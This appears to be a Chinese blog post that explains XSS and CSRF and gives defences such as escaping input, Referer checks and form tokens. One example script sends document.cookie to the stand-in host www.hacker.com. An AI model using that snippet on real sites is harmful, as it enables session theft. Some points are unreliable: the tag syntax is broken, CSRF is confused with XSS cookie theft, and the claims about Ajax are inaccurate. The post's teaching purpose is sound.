XSS-vs-CSRF

XSS:Cross Site Scripting,跨站腳本,其攻擊的本質(zhì)是讓用戶的瀏覽器運(yùn)行一段刻意構(gòu)造的腳本,其實(shí)用戶的瀏覽器在加載頁(yè)面時(shí)候會(huì)調(diào)用其中的腳本段,如果其中存在一段刻意構(gòu)造的惡意腳本的話,就會(huì)被瀏覽器直接執(zhí)行,造成攻擊。
最常見的例子如下:
現(xiàn)在有一個(gè)網(wǎng)站有一個(gè)發(fā)帖子的功能,然后一個(gè)用戶登錄之后,在輸入帖子的內(nèi)容區(qū)輸入了如下的內(nèi)容:

<script type="text/javascript>
  alert("You were hacked!");
</script>

當(dāng)用戶點(diǎn)擊發(fā)帖之后,如果服務(wù)器針對(duì)該內(nèi)容沒有進(jìn)行轉(zhuǎn)碼或其他安全操作,則當(dāng)其他用戶刷新當(dāng)前頁(yè)面的時(shí)候,當(dāng)該內(nèi)容嵌入到頁(yè)面的時(shí)候成為了頁(yè)面的一部分元素,此時(shí)其他用戶就會(huì)看到一個(gè)彈窗顯示You were hacked!。這就是最常見的,最易理解的XSS攻擊,就是通過在頁(yè)面或者地址上構(gòu)造惡意腳本實(shí)現(xiàn)不同的目的。
預(yù)防策略:
由于該攻擊是由于輸入的惡意腳本實(shí)現(xiàn)的,所以最直接的方式就是對(duì)該輸入進(jìn)行轉(zhuǎn)義,轉(zhuǎn)移之后再在頁(yè)面顯示則不會(huì)出現(xiàn)上述情況。
CSRF:Cross Site Request Forgery跨站請(qǐng)求偽造。從名字上就可以看出,該攻擊是假冒用戶進(jìn)行惡意操作。
由于Http協(xié)議是無狀態(tài)協(xié)議,即這一次請(qǐng)求和上一次請(qǐng)求沒有關(guān)系,網(wǎng)站的用戶認(rèn)證一般都是采用的session的方式實(shí)現(xiàn),之前的session直接存在客戶端,可以直接獲取,后來的操作都是在客戶端的cookie中存儲(chǔ)session_id。當(dāng)用戶登錄之后,進(jìn)行其他的操作的時(shí)候所有的Http請(qǐng)求的時(shí)候都會(huì)帶上自身的cookies交給服務(wù)器進(jìn)行驗(yàn)證,在前面的XSS攻擊中,攻擊者可以獲取到用戶的cookie,例如:

<script type="text/javascript>
  var sc = document.createElement("script");
  sc.src = "www.hacker.com?cook=" + document.cookie;
  sc.onload = function(){
    alert("Your cookie was stolen");
  }
</script>

通過上述操作之后,攻擊者就可以獲取到用戶的通行證了,然后在進(jìn)行其他操作的時(shí)候就可以用該cookie進(jìn)行。
預(yù)防策略:
1:該攻擊的原理是假冒用戶,那么預(yù)防的就是加強(qiáng)用戶認(rèn)證,有一種方式是通過refer參數(shù)預(yù)防,即獲取該請(qǐng)求來自的上一頁(yè)的地址,通過該地址驗(yàn)證來請(qǐng)求來自哪里。但是refer在很多情況下獲取不到,包括但不限于:
1.1:Location對(duì)象是一個(gè)用于頁(yè)面導(dǎo)航的非常實(shí)用的對(duì)象。因?yàn)樗试S你只變更Url的其中一部分。例如從cn域名切換到com域名,其他部分不變:window.location.hostname = "example.com";
但是,通過修改Location進(jìn)行頁(yè)面導(dǎo)航的方法,會(huì)導(dǎo)致在IE下丟失Referrer。
1.2:window.open方式打開新窗口之后在有些瀏覽器沒有傳遞refer
1.3:鼠標(biāo)拖拽打開新窗口,鼠標(biāo)拖拽是現(xiàn)在非常流行的用戶習(xí)慣,很多瀏覽器都內(nèi)置或者可以通過插件的方式來支持鼠標(biāo)拖拽式瀏覽。但是通過這種方式打開的頁(yè)面,基本全都丟失referrer。并且,這種情況下,也無法使用window.opener的方式去獲取丟失的referrer了。
2:通過在頁(yè)面的輸入表單中加入一個(gè)隨機(jī)的字符串,然后將該字符串也嵌入到cookie中,當(dāng)提交表單的時(shí)候服務(wù)器可以驗(yàn)證該字符串是否是預(yù)先嵌入的字符串進(jìn)行驗(yàn)證。
3:通過POST的方式,對(duì)于提交表單等會(huì)發(fā)生資源修改的操作,POST操作是首選,由于Ajax在進(jìn)行提交的時(shí)候不能跨域操作,所以可以避免一部分的攻擊。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • http://www.91ri.org/tag/fuzz-bug 通常情況下,有三種方法被廣泛用來防御CSRF攻擊...
    jdyzm閱讀 4,395評(píng)論 0 5
  • HTTP cookie(也稱為web cookie,網(wǎng)絡(luò)cookie,瀏覽器cookie或者簡(jiǎn)稱cookie)是網(wǎng)...
    留七七閱讀 18,385評(píng)論 2 71
  • 1. 網(wǎng)絡(luò)基礎(chǔ)TCP/IP HTTP基于TCP/IP協(xié)議族,HTTP屬于它內(nèi)部的一個(gè)子集。 把互聯(lián)網(wǎng)相關(guān)聯(lián)的協(xié)議集...
    yozosann閱讀 3,616評(píng)論 0 20
  • <a name='html'>HTML</a> Doctype作用?標(biāo)準(zhǔn)模式與兼容模式各有什么區(qū)別? (1)、<...
    clark124閱讀 3,844評(píng)論 1 19
  • 一:在制作一個(gè)Web應(yīng)用或Web站點(diǎn)的過程中,你是如何考慮他的UI、安全性、高性能、SEO、可維護(hù)性以及技術(shù)因素的...
    Arno_z閱讀 1,367評(píng)論 0 1

友情鏈接更多精彩內(nèi)容